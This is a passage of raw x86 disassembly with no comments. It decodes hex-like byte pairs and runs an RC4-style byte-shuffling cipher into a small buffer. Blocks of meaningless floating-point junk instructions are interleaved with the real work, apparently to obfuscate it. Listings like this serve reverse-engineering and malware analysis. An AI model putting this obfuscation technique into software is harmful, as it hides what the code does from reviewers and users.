movzx edx, byte [ecx]
add edx, dword [ebp - 0x3938]
mov dword [ebp - 0x3938], edx
mov dword [ebp - 0x3950], 0
mov eax, dword [ebp - 0x3950]
add eax, 0xb3
mov dword [ebp - 0x3950], eax
mov dword [ebp - 0x39d0], 0
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x39d0], ecx
mov dword [ebp - 0x394c], 0
mov edx, dword [ebp - 0x39d0]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
add eax, dword [ebp - 0x394c]
mov dword [ebp - 0x394c], eax
mov dword [ebp - 0x3930], 0
mov ecx, dword [ebp - 0x3930]
add ecx, 0xd1
mov dword [ebp - 0x3930], ecx
mov dword [ebp - 0x392c], 0
mov edx, dword [ebp - 0x3938]
sub edx, dword [ebp - 0x3950]
add edx, dword [ebp - 0x392c]
mov dword [ebp - 0x392c], edx
mov dword [ebp - 0x3928], 0
mov eax, dword [ebp - 0x394c]
sub eax, dword [ebp - 0x3930]
add eax, dword [ebp - 0x3928]
mov dword [ebp - 0x3928], eax
mov dword [ebp - 0x39d4], 0
mov ecx, dword [ebp - 0x392c]
shl ecx, 4
mov dword [ebp - 0x39d4], ecx
mov dword [ebp - 0x39d8], 0
mov edx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], edx
mov dword [ebp - 0x39dc], 0
mov eax, dword [ebp - 0x39d4]
or eax, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], eax
mov byte [ebp - 0x35e8], 0
mov cl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], cl
mov byte [ebp - 0x35e6], 0
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [edx + eax]
mov byte [ebp - 0x35e6], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3568]
add edx, ecx
mov byte [ebp - 0x3568], dl
mov al, byte [ebp - 0x355b]
add al, 1
mov byte [ebp - 0x355b], al
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ebp - 0x35e6]
mov byte [ecx + edx], al
movzx ecx, byte [ebp - 0x35e6]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35e7]
add ecx, eax
mov byte [ebp - 0x35e7], cl
movss xmm0, dword [0x9db904]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [0x9db870]
movss dword [ebp - 0x41c0], xmm0
movss xmm0, dword [0x9db74c]
movss dword [ebp - 0x40f4], xmm0
movss xmm0, dword [0x9db5ac]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [0x9db40c]
movss dword [ebp - 0x40f8], xmm0
movss xmm0, dword [ebp - 0x3818]
subss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x40f4]
mulss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x40f4], xmm0
movss xmm0, dword [ebp - 0x3e10]
mulss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x41c0]
subss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x41c0], xmm0
movss xmm0, dword [ebp - 0x3e10]
subss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x40f8]
comiss xmm0, dword [ebp - 0x40f4]
jbe 0x48de26
movss xmm0, dword [ebp - 0x3e10]
mulss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x40f4]
divss xmm0, dword [ebp - 0x3e10]
movss dword [ebp - 0x40f4], xmm0
movss xmm0, dword [ebp - 0x3e10]
mulss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x40f8]
subss xmm0, dword [ebp - 0x3818]
movss dword [ebp - 0x40f8], xmm0
movss xmm0, dword [ebp - 0x3818]
divss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
mulss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
divss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3e10]
divss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x3e10]
subss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x40f4]
mulss xmm0, dword [ebp - 0x3e10]
movss dword [ebp - 0x40f4], xmm0
movss xmm0, dword [ebp - 0x40f4]
comiss xmm0, dword [ebp - 0x3818]
jbe 0x48dda9
movss xmm0, dword [ebp - 0x3818]
subss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
mulss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3e10]
addss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x3e10], xmm0
movss xmm0, dword [ebp - 0x3818]
divss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x40f4]
subss xmm0, dword [ebp - 0x3e10]
movss dword [ebp - 0x40f4], xmm0
jmp 0x48de21
movss xmm0, dword [ebp - 0x3818]
divss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x40f8]
divss xmm0, dword [ebp - 0x3818]
movss dword [ebp - 0x40f8], xmm0
movss xmm0, dword [ebp - 0x41c0]
divss xmm0, dword [ebp - 0x40f4]
movss dword [ebp - 0x41c0], xmm0
movss xmm0, dword [ebp - 0x3818]
subss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
divss xmm0, dword [ebp - 0x41c0]
movss dword [ebp - 0x3818], xmm0
jmp 0x48df4b
movzx edx, byte [ebp - 0x35e8]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add eax, ecx
and eax, 0xff
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx eax, byte [eax + ecx]
xor edx, eax
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
movzx eax, byte [ebp - 0x35e7]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add ecx, eax
and ecx, 0xff
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
shl ecx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ecx + eax]
xor edx, ecx
mov byte [ebp - 0x356d], dl
movss xmm0, dword [ebp - 0x3818]
subss xmm0, dword [ebp - 0x40f4]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
addss xmm0, dword [ebp - 0x40f4]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x3818]
mulss xmm0, dword [ebp - 0x40f4]
movss dword [ebp - 0x3818], xmm0
movss xmm0, dword [ebp - 0x40f4]
addss xmm0, dword [ebp - 0x40f8]
movss dword [ebp - 0x40f4], xmm0
movss xmm0, dword [ebp - 0x41c0]
mulss xmm0, dword [ebp - 0x3e10]
movss dword [ebp - 0x41c0], xmm0
mov dl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], dl
movss xmm0, dword [0x9db8c8]
movss dword [ebp - 0x4e44], xmm0
movss xmm0, dword [0x9db760]
movss dword [ebp - 0x48c8], xmm0
movss xmm0, dword [0x9db4f8]
movss dword [ebp - 0x4700], xmm0
movss xmm0, dword [ebp - 0x48c8]
subss xmm0, dword [ebp - 0x4700]
movss dword [ebp - 0x48c8], xmm0
movss xmm0, dword [ebp - 0x4e44]
addss xmm0, dword [ebp - 0x4700]
movss dword [ebp - 0x4e44], xmm0
movss xmm0, dword [ebp - 0x48c8]
subss xmm0, dword [ebp - 0x4700]
movss dword [ebp - 0x48c8], xmm0
movss xmm0, dword [ebp - 0x4e44]
comiss xmm0, dword [ebp - 0x48c8]
jbe 0x48e036
movss xmm0, dword [ebp - 0x4700]
mulss xmm0, dword [ebp - 0x48c8]
movss dword [ebp - 0x4700], xmm0
movss xmm0, dword [ebp - 0x4e44]
mulss xmm0, dword [ebp - 0x4700]
movss dword [ebp - 0x4e44], xmm0
mov al, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], al
movss xmm0, dword [ebp - 0x48c8]
subss xmm0, dword [ebp - 0x4e44]
movss dword [ebp - 0x48c8], xmm0
jmp 0x48e07e
movss xmm0, dword [ebp - 0x4700]
mulss xmm0, dword [ebp - 0x4e44]
movss dword [ebp - 0x4700], xmm0
movss xmm0, dword [ebp - 0x4700]
divss xmm0, dword [ebp - 0x4e44]
movss dword [ebp - 0x4700], xmm0
movss xmm0, dword [ebp - 0x48c8]
addss xmm0, dword [ebp - 0x4700]
movss dword [ebp - 0x48c8], xmm0
cmp dword [ebp - 0x3670], 0
jbe 0x48e09f
mov ecx, dword [ebp - 0x3670]
sub ecx, 1
shl ecx, 0
lea edx, [ebp - 0x38]
mov al, byte [ebp - 0x3679]
mov byte [ecx + edx], al
mov ecx, dword [ebp - 0x3670]
add ecx, 1
mov dword [ebp - 0x3670], ecx
mov edx, dword [ebp - 0x381c]
add edx, 1
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3670]
shl eax, 1
mov dword [ebp - 0x39cc], eax
mov ecx, dword [ebp - 0x39cc]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3938], edx
mov dword [ebp - 0x3950], 0xb3
mov eax, dword [ebp - 0x3670]
shl eax, 1
add eax, 1
mov dword [ebp - 0x39d0], eax
mov ecx, dword [ebp - 0x39d0]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x394c], edx
mov dword [ebp - 0x3930], 0xd1
mov eax, dword [ebp - 0x3938]
sub eax, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x394c]
sub ecx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], ecx
mov edx, dword [ebp - 0x392c]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov eax, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], ecx
mov dl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], dl
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35e6], dl
movss xmm0, dword [0x9db6b4]
movss dword [ebp - 0x48cc], xmm0
movss xmm0, dword [0x9db5f8]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [0x9db54c]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [0x9db498]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [0x9db3d8]
movss dword [ebp - 0x45ec], xmm0
movss xmm0, dword [0x9db320]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3d38]
mulss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x3824]
subss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x45ec]
subss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x45ec], xmm0
movss xmm0, dword [ebp - 0x3d38]
mulss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x3824]
addss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x39fc]
mulss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x45ec]
comiss xmm0, dword [ebp - 0x3d38]
jbe 0x48e4fa
movss xmm0, dword [ebp - 0x48cc]
mulss xmm0, dword [ebp - 0x3d38]
movss dword [ebp - 0x48cc], xmm0
movss xmm0, dword [ebp - 0x48cc]
divss xmm0, dword [ebp - 0x3d38]
movss dword [ebp - 0x48cc], xmm0
movss xmm0, dword [ebp - 0x3d38]
mulss xmm0, dword [ebp - 0x45ec]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x39fc]
divss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x3ae8]
addss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3ae8]
subss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3ae8]
divss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3ae8]
subss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3824]
divss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x3d38]
mulss xmm0, dword [ebp - 0x45ec]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x3824]
addss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x39fc]
subss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x3824]
comiss xmm0, dword [ebp - 0x39fc]
jbe 0x48e465
movss xmm0, dword [ebp - 0x3824]
divss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x39fc]
divss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x39fc]
mulss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
movss xmm0, dword [ebp - 0x3d38]
subss xmm0, dword [ebp - 0x45ec]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x3824]
divss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x3d38]
subss xmm0, dword [ebp - 0x45ec]
movss dword [ebp - 0x3d38], xmm0
jmp 0x48e4f5
movss xmm0, dword [ebp - 0x3ae8]
subss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x3ae8], xmm0
movss xmm0, dword [ebp - 0x3824]
mulss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x3824]
subss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x45ec]
subss xmm0, dword [ebp - 0x48cc]
movss dword [ebp - 0x45ec], xmm0
movss xmm0, dword [ebp - 0x45ec]
divss xmm0, dword [ebp - 0x48cc]
movss dword [ebp - 0x45ec], xmm0
movss xmm0, dword [ebp - 0x39fc]
addss xmm0, dword [ebp - 0x3ae8]
movss dword [ebp - 0x39fc], xmm0
jmp 0x48e5bc
movss xmm0, dword [ebp - 0x3824]
subss xmm0, dword [ebp - 0x3d38]
movss dword [ebp - 0x3824], xmm0
movss xmm0, dword [ebp - 0x48cc]
addss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x48cc], xmm0
movss xmm0, dword [ebp - 0x3d38]
addss xmm0, dword [ebp - 0x39fc]
movss dword [ebp - 0x3d38], xmm0
movss xmm0, dword [ebp - 0x48cc]
addss xmm0, dword [ebp - 0x3824]
movss dword [ebp - 0x48cc], xmm0
movss xmm0, dword [ebp - 0x3824]
addss xmm0, dword [ebp - 0x3d38]
movss dword [ebp - 0x3824], xmm0
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3568]
add eax, edx
mov byte [ebp - 0x3568], al
mov cl, byte [ebp - 0x355b]
add cl, 1
mov byte [ebp - 0x355b], cl
movss xmm0, dword [ebp - 0x39fc]
addss xmm0, dword [ebp - 0x45ec]
movss dword [ebp - 0x39fc], xmm0
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [ebp - 0x35e6]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x35e6]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35e7]
add edx, ecx
mov byte [ebp - 0x35e7], dl
movzx eax, byte [ebp - 0x35e8]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x35e7]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x356d], al
mov al, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], al
mov cl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], cl
cmp dword [ebp - 0x3670], 0
jbe 0x48e751
mov edx, dword [ebp - 0x3670]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x38]
mov cl, byte [ebp - 0x3679]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x381c]
add edx, 2
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3670]
add eax, 1
mov dword [ebp - 0x4e40], eax
jmp 0x48e780
mov ecx, dword [ebp - 0x4e40]
add ecx, 1
mov dword [ebp - 0x4e40], ecx
mov edx, dword [ebp - 0x4e40]
cmp edx, dword [ebp - 0x381c]
jge 0x48ea45
mov eax, dword [ebp - 0x3670]
add eax, 1
mov dword [ebp - 0x3670], eax
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
mov dword [ebp - 0x39cc], ecx
mov edx, dword [ebp - 0x39cc]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x3938], eax
mov dword [ebp - 0x3950], 0xb3
mov ecx, dword [ebp - 0x3670]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x39d0], ecx
mov edx, dword [ebp - 0x39d0]
shl edx, 0
add edx, dword [ebp - 0x3a0c]
movzx eax, byte [edx]
mov dword [ebp - 0x394c], eax
mov dword [ebp - 0x3930], 0xd1
mov ecx, dword [ebp - 0x3938]
sub ecx, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], ecx
mov edx, dword [ebp - 0x394c]
sub edx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], edx
mov eax, dword [ebp - 0x392c]
shl eax, 4
mov dword [ebp - 0x39d4], eax
mov ecx, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x39d4]
or edx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], edx
mov al, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], al
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea edx, [ebp - 0x3ec]
mov al, byte [ecx + edx]
mov byte [ebp - 0x35e6], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x3568]
add ecx, eax
mov byte [ebp - 0x3568], cl
mov dl, byte [ebp - 0x355b]
add dl, 1
mov byte [ebp - 0x355b], dl
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x3568]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x356d]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [ebp - 0x35e6]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x35e6]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35e7]
add eax, edx
mov byte [ebp - 0x35e7], al
movzx ecx, byte [ebp - 0x35e8]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea esi, [ebp - 0x3ec]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x359c]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x35e7]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x356d], cl
mov cl, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], cl
mov dl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], dl
cmp dword [ebp - 0x3670], 0
jbe 0x48ea40
mov eax, dword [ebp - 0x3670]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x38]
mov dl, byte [ebp - 0x3679]
mov byte [eax + ecx], dl
jmp 0x48e771
mov eax, dword [ebp - 0x381c]
add eax, 1
mov dword [ebp - 0x381c], eax
mov ecx, dword [ebp - 0x3670]
add ecx, 1
mov dword [ebp - 0x3670], ecx
mov edx, dword [ebp - 0x381c]
add edx, 1
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3670]
shl eax, 1
mov dword [ebp - 0x39cc], eax
mov ecx, dword [ebp - 0x39cc]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3938], edx
mov dword [ebp - 0x3950], 0xb3
mov eax, dword [ebp - 0x3670]
shl eax, 1
add eax, 1
mov dword [ebp - 0x39d0], eax
mov ecx, dword [ebp - 0x39d0]
shl ecx, 0
add ecx, dword [ebp - 0x3a0c]
movzx edx, byte [ecx]
mov dword [ebp - 0x394c], edx
mov dword [ebp - 0x3930], 0xd1
mov eax, dword [ebp - 0x3938]
sub eax, dword [ebp - 0x3950]
mov dword [ebp - 0x392c], eax
mov ecx, dword [ebp - 0x394c]
sub ecx, dword [ebp - 0x3930]
mov dword [ebp - 0x3928], ecx
mov edx, dword [ebp - 0x392c]
shl edx, 4
mov dword [ebp - 0x39d4], edx
mov eax, dword [ebp - 0x3928]
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x39d4]
or ecx, dword [ebp - 0x39d8]
mov dword [ebp - 0x39dc], ecx
mov dl, byte [ebp - 0x39dc]
mov byte [ebp - 0x35e8], dl
movzx eax, byte [ebp - 0x359c]
shl eax, 0
lea ecx, [ebp - 0x3ec]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x35e6], dl
movzx eax, byte [ebp - 0x355b]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3568]
add eax, edx
mov byte [ebp - 0x3568], al
mov cl, byte [ebp - 0x355b]
add cl, 1
mov byte [ebp - 0x355b], cl
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [ebp - 0x3568]
shl edx, 0
lea esi, [ebp - 0x3ec]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x355b]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx eax, byte [ebp - 0x356d]
shl eax, 0
lea esi, [ebp - 0x3ec]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea eax, [ebp - 0x3ec]
mov cl, byte [ebp - 0x35e6]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x35e6]
shl edx, 0
lea eax, [ebp - 0x3ec]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x35e7]
add edx, ecx
mov byte [ebp - 0x35e7], dl
movzx eax, byte [ebp - 0x35e8]
movzx ecx, byte [ebp - 0x3568]
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x355b]
shl edx, 0
lea esi, [ebp - 0x3ec]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x3ec]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x356d]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x359c]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x35e7]
shl ecx, 0
lea esi, [ebp - 0x3ec]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x3ec]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x356d], al
mov al, byte [ebp - 0x35e8]
mov byte [ebp - 0x359c], al
mov cl, byte [ebp - 0x356d]
mov byte [ebp - 0x3679], cl
cmp dword [ebp - 0x3670], 0
jbe 0x48ed12
mov edx, dword [ebp - 0x3670]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x38]
mov cl, byte [ebp - 0x3679]
mov byte [edx + eax], cl
